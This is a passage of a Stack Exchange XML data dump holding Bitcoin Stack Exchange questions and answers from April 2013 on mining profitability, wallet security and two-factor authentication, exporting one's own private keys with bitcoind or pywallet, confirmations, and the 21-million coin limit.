href=&quot;http://bitcoindifficulty.com&quot; rel=&quot;nofollow&quot;&gt;difficulty factor&lt;/a&gt; is likely to increase. The graph I've linked shows the rapid rise in difficulty. If ASIC mining rigs start shipping in volume, and the BTC exchange rate stays high, then it is entirely possible that the Bitcoin difficulty could jump by an order of magnitude or more. And so investing in GPU hardware (which wouldn't even cover its operating costs at those difficulty levels) is considered unwise at this point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if your question is &quot;is it worth it run my gaming machine as a Bitcoin mining rig while I'm not using it?&quot; The answer is probably, use a profitability calculator to verify. On the other hand, if your question is &quot;If I can't get my hands on ASIC rig right now, should I buy some GPUs specifically for mining?&quot; the current consensus answer is no.&lt;/p&gt;&#xA;" OwnerUserId="3439" LastActivityDate="2013-04-11T12:43:42.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9577" PostTypeId="1" CreationDate="2013-04-11T12:56:57.513" Score="2" ViewCount="1601" Body="&lt;p&gt;blockchain.info hosts encrypted wallets, and all decryption is done locally, so having a Google Authenticator bound to a wallet only prevents an attacker from downloading that encrypted wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, &lt;strong&gt;assuming the passphrase is good&lt;/strong&gt;, having an encrypted wallet is perfectly useless if you do not know the passphrase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the two-factor authentication would provide any benefit only to people with non-good passphrases... but that wouldn't be a real solution: they ought to change passphrase anyway!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hence, I can't come up with any situation were enabling two-factor authentication on blockchain.info provides any meaningful benefit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-07-06T01:52:25.393" Title="Is Google Authenticator really useful on blockchain.info?" Tags="|security|blockchain.info|two-factor|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9578" PostTypeId="1" CreationDate="2013-04-11T12:59:06.847" Score="2" ViewCount="128" Body="&lt;p&gt;Does blockchain.info use any salt with the passphrase?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I.e., is there any risk associated with using the same passphrase on two different wallets &lt;strong&gt;both hosted on blockchain.info&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt;: of course blockchain.info doesn't even keep the hash of the passphrase, as opposite to traditional login systems, so it might not make sense to use a salt in the first place... or does it?&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="196" LastEditDate="2013-04-11T13:17:17.503" LastActivityDate="2013-04-11T16:55:49.810" Title="Is there any risk associated with using the same passphrase on two different wallets both hosted on blockchain.info?" Tags="|security|blockchain.info|passphrase|salt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9579" PostTypeId="1" AcceptedAnswerId="9593" CreationDate="2013-04-11T13:18:10.243" Score="3" ViewCount="5177" Body="&lt;p&gt;The way i understand it, by calculating and validating new blocks miners keep the bitcoin network safe. As a 'reward' for this they recieve bitcoins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, since the number of bitcoins is limited, will there be a point where mining is no longer useful, because there is nothing left to mine? And if so, who will keep the chain safe?&lt;/p&gt;&#xA;" OwnerUserId="4232" LastEditorUserId="5406" LastEditDate="2016-03-16T10:48:35.107" LastActivityDate="2016-03-16T10:49:23.017" Title="Since there is a limited number of bitcoins, will miners become obsolete?" Tags="|mining-theory|reward-schedule|" AnswerCount="3" CommentCount="3" ClosedDate="2013-04-17T07:48:41.193" ContentLicense="CC BY-SA 3.0" />
  <row Id="9580" PostTypeId="1" AcceptedAnswerId="9627" CreationDate="2013-04-11T13:25:53.537" Score="2" ViewCount="2785" Body="&lt;p&gt;I've a macbook pro and I tried to mine, but there is a problem, I can mine only with CPU because I get the error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;No OpenCL-compatible GPUs detected &#xA;2013.04.11 [15:16]  Lacking OpenCL support. If you want to use GPUs, please install the latest drivers from your graphics card manufacturer. &#xA;2013.04.11 [15:17]  Warning: Electricity-wasting slow CPU implementation in use&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I use my GPU??&lt;/p&gt;&#xA;" OwnerUserId="3822" LastActivityDate="2013-04-12T07:31:18.850" Title="Lacking OpenCL support on macbook pro" Tags="|gpu|mac|" AnswerCount="1" CommentCount="3" ClosedDate="2013-04-21T20:13:06.083" ContentLicense="CC BY-SA 3.0" />
  <row Id="9583" PostTypeId="1" AcceptedAnswerId="9643" CreationDate="2013-04-11T13:37:30.673" Score="3" ViewCount="3697" Body="&lt;p&gt;My phone is rooted and I'm not going to use the Bitcoin Wallet app anymore since I'll be switching to another one. My problem is, I can't seem to find where the downloaded blockchains are stored. If I'm not mistaken it's supposedly gigabytes big but I can't find it anywhere on my phone. I'm pretty sure the first time I opened up the app, it appeared to be downloading them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me what directories I should delete to ensure that the app is fully removed from my phone. (I just don't want rogue data lying around and taking up unnecessary space)&lt;/p&gt;&#xA;" OwnerUserId="755" LastEditorUserId="5406" LastEditDate="2016-01-05T13:55:22.873" LastActivityDate="2020-02-16T09:57:40.347" Title="How do I fully uninstall the Bitcoin Wallet app for Android?" Tags="|blockchain|bitcoin-wallet-app|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9585" PostTypeId="2" ParentId="9579" CreationDate="2013-04-11T13:49:01.983" Score="2" Body="&lt;p&gt;Mining does find new coins, but it also incorporates transactions.  So it is expected that mining will still be profitable due to the transaction fees when mining no longer gives coin rewards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, this won't be a problem for another twenty years or so.&lt;/p&gt;&#xA;" OwnerUserId="3187" LastEditorUserId="3187" LastEditDate="2013-04-11T14:18:06.790" LastActivityDate="2013-04-11T14:18:06.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9586" PostTypeId="2" ParentId="9127" CreationDate="2013-04-11T14:09:08.723" Score="1" Body="&lt;p&gt;Beside that I don't understand your problem with PyWaller, like Eyal suggests, you can use the standard Bitcoin software for this as well, although this method will be a little more time-consuming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest doing the following for every &lt;code&gt;wallet.dat&lt;/code&gt; file you have:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Backup your current &lt;code&gt;wallet.dat&lt;/code&gt; file.&lt;/li&gt;&#xA;&lt;li&gt;Copy the old &lt;code&gt;wallet.dat&lt;/code&gt; to your Bitcoin directory.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open up a terminal and run the bitcoind daemon:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bitcoind -daemon&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Retrieve a list of all the addresses in the wallet: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bitcoind listaddressgroupings&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For every address you want the private key from, dump it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bitcoind dumpprivkey &amp;lt;bitcoinaddress&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Stop the daemon before changing the wallet.dat file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bitcoind stop&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This should give you all the private keys you need and you can import them to any wallet you would like.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="7589" LastEditDate="2013-11-07T21:16:51.940" LastActivityDate="2013-11-07T21:16:51.940" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9587" PostTypeId="1" CreationDate="2013-04-11T15:09:21.073" Score="0" ViewCount="220" Body="&lt;p&gt;I formatted and re installed MacOSX on the HDD that contained my &lt;code&gt;wallet.dat&lt;/code&gt;. I have no backup of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how I could possibly recover this file and my Bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="4237" LastEditorUserId="15412" LastEditDate="2014-06-18T05:53:17.713" LastActivityDate="2014-06-18T05:53:17.713" Title="Installed MacOSX over HDD containing wallet" Tags="|wallet-recovery|" AnswerCount="1" CommentCount="3" ClosedDate="2013-04-18T08:09:01.993" ContentLicense="CC BY-SA 3.0" />
  <row Id="9588" PostTypeId="2" ParentId="9559" CreationDate="2013-04-11T15:17:11.317" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Can I have usd in my MtGox account without transferring it to my bank account, or having it in bitcoins?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yep.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-04-11T15:17:11.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9590" PostTypeId="1" CreationDate="2013-04-11T15:37:58.083" Score="2" ViewCount="562" Body="&lt;p&gt;I am trying to buy bitcoins, and I have just recently got my bank account verfied on coinbase.com, and I am trying to buy bitcoins.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When browsing the buy page,  I got the following message&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Note! We've exceeded our normal buy limits for today. If you would&#xA;  still like to purchase you will receive the market price of bitcoin on&#xA;  Tuesday Apr 16, 2013 at 08:24AM PDT after your funds have arrived.&#xA;  read more&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When I click &lt;code&gt;read more&lt;/code&gt;, it just tells me&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Due to higher than normal buy volumes, we are unable to provide exact&#xA;  price quotes right now.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Instead of pausing buys entirely, we decided to give people the option&#xA;  to purchase bitcoin at the market price in a few days. Once your USD&#xA;  funds arrive, we will exchange them to bitcoin at the market price at&#xA;  approximately Tuesday Apr 16, 2013 at 08:24AM PDT.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Note that you can cancel your order at any time up until your bitcoin&#xA;  arrive from the transfer history page.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The market price of bitcoin changes frequently. Below are some recent&#xA;  prices to give you an idea. These do not guarantee what the price will&#xA;  be in a few days.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It looks like it's allowing you to put yourself in a queue to buy bitcoin, but I have no idea how to take advantage of this feature.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I correct about what this feature is? and If I am, how do I take advantage of it?&lt;/p&gt;&#xA;" OwnerUserId="4239" LastActivityDate="2013-06-18T04:20:33.213" Title="coinbase.com buying queue" Tags="|buy-bitcoins|coinbase.com|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9591" PostTypeId="1" CreationDate="2013-04-11T15:43:36.927" Score="9" ViewCount="32697" Body="&lt;p&gt;I have South African Rands that I would like to purchase bitcoins with. No Websites I know of accept Rands (ZAR). How do I get around this? &lt;/p&gt;&#xA;" OwnerUserId="4240" LastEditorUserId="2306" LastEditDate="2013-04-11T16:23:08.110" LastActivityDate="2017-09-29T10:10:22.190" Title="How do I buy bitcoins with South African Rands?" Tags="|buy-bitcoins|" AnswerCount="8" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9592" PostTypeId="1" AcceptedAnswerId="9599" CreationDate="2013-04-11T15:44:11.067" Score="0" ViewCount="2447" Body="&lt;p&gt;I am writing an app which trades bitcoins and one of the biggest problems I have run into is that it takes so long to move them from one wallet to another. I thinks it due too mtgox and other sites using a 6 confirmation system before registering that data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two thoughts on how the time might be brought down and I am wondering how feasible each is. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Process my own bitcoin transactions. Would it be possible to route my transactions through my own computer so that it gets top priority?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use fewer conformations before excepting a transaction as complete. Would the system allow me to use a bitcoin if it has only has 4 conformations?  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there another way that I'm not thinking of? &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2017-12-07T17:34:00.340" Title="Speeding up bitcoin transactions?" Tags="|transactions|wallet|development|confirmations|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9593" PostTypeId="2" ParentId="9579" CreationDate="2013-04-11T16:08:46.393" Score="4" Body="&lt;p&gt;It is an frequently occurring but incorrect assumption that the purpose of mining is creating bitcoins. The reason mining exists, is finding blocks, so that a global consensus about the order of valid transactions can be established. Mining is hard because we don't want too frequent blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the very original ideas in Bitcoin is combining this block construction consensus mechanism with the initial introduction of new currency, but it could have been done in very different ways. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, even when the block subsidy dwindles and eventually becomes zero, mining will continue. Blocks will still be needed and if miners don't create them, other miners will pop up. They are expected to be paid from transaction fees.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="5406" LastEditDate="2016-03-16T10:49:23.017" LastActivityDate="2016-03-16T10:49:23.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9594" PostTypeId="1" AcceptedAnswerId="9677" CreationDate="2013-04-11T16:10:11.083" Score="3" ViewCount="1597" Body="&lt;p&gt;Inspired by &lt;a href=&quot;http://www.reddit.com/r/ripplers/comments/1c51u2/anonymous_ripple/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/439/how-can-one-remain-relatively-anonymous-while-using-bitcoin&quot;&gt;that&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can an individual that uses Ripple do in order to remain as anonymous as possible? How do Ripple's &quot;anonymity profile&quot; compare to Bitcoin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One specific difference is that Ripple accounts need XRP to be opened, and that XRP has to come from somewhere, while Bitcoin accounts are free to create.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2013-05-04T11:03:19.273" Title="How can one remain relatively anonymous while using Ripple?" Tags="|ripple|privacy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9596" PostTypeId="2" ParentId="9590" CreationDate="2013-04-11T16:45:19.337" Score="2" Body="&lt;p&gt;As far as I can tell the queue itself is not actually functioning. The limit they have only exists for some hours during the day, and at some point they allow you to buy bitcoin and charge it to your bank account. You are then locked in at the rate which you purchased them at, however it takes about 5 days generally to receive your bitcoins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this happens because they are fronting the money themselves to buy the bitcoins, and have a limited amount of funds per day which they can spare. Each day a new volley of bank transfers comes through and they can then afford to front more for people.&lt;/p&gt;&#xA;" OwnerUserId="4241" LastEditorUserId="4241" LastEditDate="2013-04-11T19:43:40.747" LastActivityDate="2013-04-11T19:43:40.747" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9597" PostTypeId="2" ParentId="9567" CreationDate="2013-04-11T16:51:46.733" Score="3" Body="&lt;p&gt;Once your logged in go to &lt;strong&gt;Security Center&lt;/strong&gt; and then you will see a tab which says &lt;strong&gt;Advanced API key Creation&lt;/strong&gt; click on that and you will see the permission options, a key name field, and a key generation button.&lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-04-11T16:51:46.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9598" PostTypeId="2" ParentId="9578" CreationDate="2013-04-11T16:55:49.810" Score="1" Body="&lt;p&gt;The risk is that, if a hacker gets a hold of one, then they've gotten a hold of both. Or at least If I had one passphrase, it would be my first guess for the second. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I dont think there is any inherent technical problem for blockchain.info.&lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-04-11T16:55:49.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9599" PostTypeId="2" ParentId="9592" CreationDate="2013-04-11T17:08:04.173" Score="2" Body="&lt;p&gt;The security of the Bitcoin system depends on time passed since the transaction was included in a block.  Let's call this confirmation 1.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Are you having trouble getting your trades into a block, or want to have more confirmations?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The fact remains is that you should wait 1 hour after the transaction is included in a block before spending that output.  That one hour just happens to roughly correspond with 6 blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So why do we wait 1 hour?&lt;/strong&gt; It's because we want to make reasonably sure that no one out there has a computer strong enough to spend the output twice, and causing a split in the ledger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wouldn't plan on basing my business on short block times, and would instead only use the block chain for deposits and withdrawals from your private system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're having trouble getting your Tx included in a block the easy solution for that is to pay transaction fees, or run a private mining rig that will accept such transactions.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-04-11T17:08:04.173" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="9600" PostTypeId="2" ParentId="9579" CreationDate="2013-04-11T17:18:55.203" Score="1" Body="&lt;p&gt;Mining is required for bitcoin transactions to be processed. If mining stops, bitcoin stops. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, Bitcoin generation is only one incentive for mining. The miners also take a small ( &amp;lt;&amp;lt; ) percentage of each transaction, and my understanding is that as volume of transactions increases, this will become the dominate method for profiting from mining.  &lt;/p&gt;&#xA;" OwnerUserId="4241" LastEditorUserId="4241" LastEditDate="2013-04-11T22:31:06.267" LastActivityDate="2013-04-11T22:31:06.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9601" PostTypeId="2" ParentId="9512" CreationDate="2013-04-11T17:26:15.897" Score="0" Body="&lt;p&gt;The 21 Million limitation is enforced by each person who runs a copy of the full Bitcoin-QT client, and also by Bitcoin miners that secure the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The developers of the Bitcoin-QT client (available at www.Bitcoin.org) publish updates that may or may not be adopted by the users of the system which consist of:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Miners and Mining Pools&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoin-QT software that verify the whole chain.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hosted wallets (which likely use the Bitcoin-QT client behind the scenes)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There have been updates to the Bitcoin protocol in the past and the outcome was determined by &quot;voting&quot; based on Miner hashpower.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory, future changes could be voted on based on how many coins you own, also known as Proof of Stake.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In summary, changing the 21 Million limit is difficult, and requires extensive coordination so that it doesn't undermine the utility of Bitcoin.  I see it as unlikely that it would ever change.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-04-11T17:26:15.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9603" PostTypeId="2" ParentId="9512" CreationDate="2013-04-11T20:07:14.260" Score="1" Body="&lt;p&gt;If someone tries to pay you in cash, you run some basic validity tests on the cash before you accept it as payment. If the bills are just blank pieces of paper, you don't accept them. If they say &quot;ten dollars&quot; in magic marker on white paper, you don't accept them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoins past 21 million are obviously not valid currency because that's what the rules say. So nobody will consider them payment. Because Bitcoins are basically just numbers, it's effectively impossible to counterfeit them. There's no way to make one number look like another number. And, of course, if you copy a Bitcoin, it's just another copy of the same Bitcoin, not another Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-04-11T20:12:21.873" LastActivityDate="2013-04-11T20:12:21.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9604" PostTypeId="2" ParentId="9577" CreationDate="2013-04-11T20:26:56.743" Score="1" Body="&lt;p&gt;Two-factor authentication is generally useful in that it adds a different layer of security to your account. In addition to your password (which is something you &lt;em&gt;know&lt;/em&gt;) two-factor authentication adds a key generated from a specific device (which is something you &lt;em&gt;have&lt;/em&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my experience one can never be too cautious about their financies, especially when they are being hosted on a machine connected to the internet. If it were just the security vulnerabilities you knew you knew about (e.g., the strength of your passphrase) that would be one thing. Usually it is the security issues you do not know about that justify extra layers (like two-factor authentication).&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2013-04-11T20:26:56.743" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9605" PostTypeId="2" ParentId="9587" CreationDate="2013-04-11T20:27:01.633" Score="2" Body="&lt;p&gt;I have no experience and I think you would be mightily lucky if you succeed in recovering your wallet file, but I'd advise you to stop using that HDD (to avoid too much writes) and try &lt;a href=&quot;https://www.google.com/search?q=restore%20hdd%20after%20reformat&quot; rel=&quot;nofollow&quot;&gt;googling for the problem and trying all the proposed solutions&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-04-11T20:27:01.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9606" PostTypeId="1" AcceptedAnswerId="9611" CreationDate="2013-04-11T20:34:55.080" Score="3" ViewCount="3898" Body="&lt;p&gt;I'm a total newbie here, and I've read a bit on Bitcoin.  I get that it's a cryptographic currency, and that it can't be directly &quot;cashed&quot;, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm interested in the common purchase using Bitcoin - what do you buy with Bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="551" LastEditorUserId="5406" LastEditDate="2015-12-24T11:07:07.803" LastActivityDate="2015-12-24T11:07:07.803" Title="What is the most common use of Bitcoin?" Tags="|bitcoin-economy|adoption|" AnswerCount="3" CommentCount="3" ClosedDate="2015-12-24T11:07:35.567" ContentLicense="CC BY-SA 3.0" />
  <row Id="9608" PostTypeId="1" CreationDate="2013-04-11T20:57:57.527" Score="-2" ViewCount="880" Body="&lt;p&gt;Even if a finite number of coins exist if it can be split up by sending out .000001 per say than I don't see how that wouldn't be infinate money. Because lets say you have one bitcoin that is worth 1 dollar and I sold you something that only cost one penny than your saying I would recive 0.01 Bitcoin. So then wouldn't I have a bitcoin too just one worth a penny. We would have created a new coin? Or are you saying that only 26 million people will ever be able to use the currency at one time? Not trying to agrue I just would like to know. =)&lt;/p&gt;&#xA;" OwnerUserId="4253" LastActivityDate="2013-04-11T22:22:20.443" Title="How can bitcoin be finite?" Tags="|inflation|deflation|" AnswerCount="1" CommentCount="7" ClosedDate="2013-04-17T07:34:59.127" ContentLicense="CC BY-SA 3.0" />
  <row Id="9610" PostTypeId="2" ParentId="9608" CreationDate="2013-04-11T22:22:20.443" Score="2" Body="&lt;p&gt;It seems to me that your confusing the number of bitcoins in existence with the value of bitcoins in existence. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Because lets say you have one bitcoin that is worth 1 dollar and I sold you something that only cost one penny than your saying I would recive 0.01 Bitcoin.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Say for instance that there will only ever be 21 million pounds of gold in the world. I can split it up and sell it into arbitrarily many different pieces. It may change in value and through trading gold I may be able to come out with more money then when I started. But at the end of the day If I were to gather up every last bit of gold in the world there would be exactly 21 million pounds of it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same is true for bitcoin. If your wondering how the system itself is limited to only ever making a finite number of bitcoins, its because the people who first wrote the code decided it should be that way. &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-04-11T22:22:20.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9611" PostTypeId="2" ParentId="9606" CreationDate="2013-04-11T22:29:25.727" Score="2" Body="&lt;p&gt;As I see it, there are currently (April 4th 2013) two main uses for bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;As a store of value, similar to gold or stock. The idea is that you buy bitcoin and it holds or ideally appreciates in value.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As a medium of exchange, though in reality few people actually except bitcoin for goods and services due to its volatility. However the Silk Road which lives on the Tor network exclusively uses bitcoins for exchange. This is because it deals in illegal goods, and makes use of bitcoins anonymity.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-04-11T22:29:25.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9612" PostTypeId="1" CreationDate="2013-04-11T22:29:50.767" Score="-1" ViewCount="477" Body="&lt;p&gt;What stops the Ripple users from acting like fractional reserve banks or creating a pyramid scheme of debt? If the practice of over leveraging debt is prevalent how could this effect the Ripple currency and possibly the network?&lt;/p&gt;&#xA;" OwnerUserId="4260" LastActivityDate="2013-04-12T02:47:55.370" Title="What stops Ripple users from creating a pyramid scheme with IOU's?" Tags="|ripple|ripple-trust|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9613" PostTypeId="1" CreationDate="2013-04-11T22:58:52.210" Score="3" ViewCount="521" Body="&lt;p&gt;I just heard about BitCoin for the first time today, and I'm confused. &#xA;My understanding of economics may not be the best, but I do know that money, as in the paper and coins we use in everyday life, has no value unless it's backed by something which DOES have value (such as the gold in the Federal Treasury). So I don't understand how BitCoins gain value. I understand they're created by computers doing complex mathematical equations, but...is the solution to these equations valuable? Is that what causes BitCoins to be worth something?&#xA;Hopefully the answer to my first question will answer the second as well...once BitCoins are created, how is their ongoing value determined? For instance, I heard about a BitCoin value crash today. What criteria is used to determine changes in the market, and how are exchange rates calculated?&#xA;Thanks in advance to anyone kind enough to answer my questions...I hope I don't sound like a complete idiot. &lt;/p&gt;&#xA;" OwnerUserId="4261" LastActivityDate="2013-04-12T00:57:24.653" Title="How Does BitCoin's Economy Work?" Tags="|economic-theory|" AnswerCount="1" CommentCount="3" ClosedDate="2013-04-13T14:37:24.103" ContentLicense="CC BY-SA 3.0" />
  <row Id="9615" PostTypeId="1" CreationDate="2013-04-12T00:30:40.997" Score="3" ViewCount="1436" Body="&lt;p&gt;I know it's inefficient and a bad idea and all that, but I just discovered the &lt;code&gt;setgenerate&lt;/code&gt; console command in Bitcoin-Qt (v0.8.1-beta, MAC) and I was wondering how to set the recipient address of &quot;all those&quot; Bitcoins I'm about to generate?&lt;/p&gt;&#xA;" OwnerUserId="3667" LastEditorUserId="5406" LastEditDate="2016-04-17T20:15:42.923" LastActivityDate="2016-04-17T20:15:42.923" Title="How to set Bitcoin-Qt setgenerate mining recipient?" Tags="|bitcoin-core|miner-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9616" PostTypeId="2" ParentId="9127" CreationDate="2013-04-12T00:42:54.720" Score="1" Body="&lt;p&gt;I hate to be &lt;em&gt;that&lt;/em&gt; guy, but you should really take another look at pywallet.  Your problems may be specific to &lt;a href=&quot;https://github.com/joric/pywallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joric's&lt;/a&gt; pywallet, which hasn't been updated in awhile.  There is a better-maintained &lt;a href=&quot;https://github.com/jackjack-jj/pywallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;fork&lt;/a&gt; of pywallet by JackJack. &lt;br /&gt;&#xA;If this was the version of it that you already experienced, you could always try the web interface by running:&lt;code&gt;./pywallet.py --web&lt;/code&gt; and then navigating to localhost:8989/ in a web browser. &lt;br /&gt;&#xA;You did however request a command line way of doing it, which with jackjack's pywallet would look like this: &lt;br /&gt;&#xA;&lt;code&gt;./pywallet.py --dumpwallet  --datadir=DATADIR --wallet=WALLETFILE --passphrase=PASSPHRASE&lt;/code&gt; &lt;br /&gt;&#xA;The &lt;code&gt;--passphrase&lt;/code&gt; option may have been the issue you ran into with pywallet, since it is necessary for dealing with encrypted wallets, but it isn't in the &lt;a href=&quot;https://github.com/jackjack-jj/pywallet/blob/master/README&quot; rel=&quot;nofollow noreferrer&quot;&gt;readme&lt;/a&gt; (not really sure why that is).&lt;br/&gt;&#xA;Anyway, pywallet really does seem to be your best bet for what you're trying to do.  If you are having issues using it, feel free to include information about these issues.&lt;/p&gt;&#xA;" OwnerUserId="4193" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-04-12T00:42:54.720" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
